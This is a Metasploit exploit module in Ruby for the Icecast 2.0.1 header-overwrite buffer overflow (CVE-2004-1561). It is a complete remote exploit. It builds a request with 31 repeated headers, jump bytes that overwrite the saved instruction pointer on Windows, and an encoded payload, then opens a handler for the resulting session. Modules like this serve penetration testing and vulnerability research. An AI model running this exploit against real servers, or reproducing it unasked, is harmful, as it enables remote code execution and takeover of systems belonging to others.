Icecast Header Overwrite

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Icecast Header Overwrite',
      'Description'    => %q{
        This module exploits a buffer overflow in the header parsing of icecast
        versions 2.0.1 and earlier, discovered by Luigi Auriemma. Sending 32
        HTTP headers will cause a write one past the end of a pointer array. On
        win32 this happens to overwrite the saved instruction pointer, and on
        linux (depending on compiler, etc) this seems to generally overwrite
        nothing crucial (read not exploitable).

        This exploit uses ExitThread(), this will leave icecast thinking the
        thread is still in use, and the thread counter won't be decremented.
        This means for each time your payload exits, the counter will be left
        incremented, and eventually the threadpool limit will be maxed. So you
        can multihit, but only till you fill the threadpool.
      },
      'Author'         => [ 'spoonm', 'Luigi Auriemma <aluigi[at]autistici.org>' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2004-1561'],
          [ 'OSVDB', '10406'],
          [ 'BID', '11271'],
          [ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-09/0366.html'],
        ],
      'Privileged'     => false,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 2000,
          'BadChars' => "\x0d\x0a\x00",
          'DisableNops' => true,
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { }],
        ],
      'DisclosureDate' => '2004-09-28',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(8000)
      ])
  end

  # Interesting that ebp is pushed after the local variables, and the line array
  # is right before the saved eip, so overrunning it just by 1 element overwrites
  # eip, making an interesting exploit....
  # .text:00414C00                 sub     esp, 94h
  # .text:00414C06                 push    ebx
  # .text:00414C07                 push    ebp
  # .text:00414C08                 push    esi

  def exploit
    connect

    # bounce bounce bouncey bounce.. (our chunk gets free'd, so do a little dance)
    # jmp 12
    evul = "\xeb\x0c / HTTP/1.1 #{payload.encoded}\r\n"
    evul << "Accept: text/html\r\n" * 31;

    # jmp [esp+4]
    evul << "\xff\x64\x24\x04\r\n"
    evul << "\r\n"

    sock.put(evul)

    handler
    disconnect
  end
end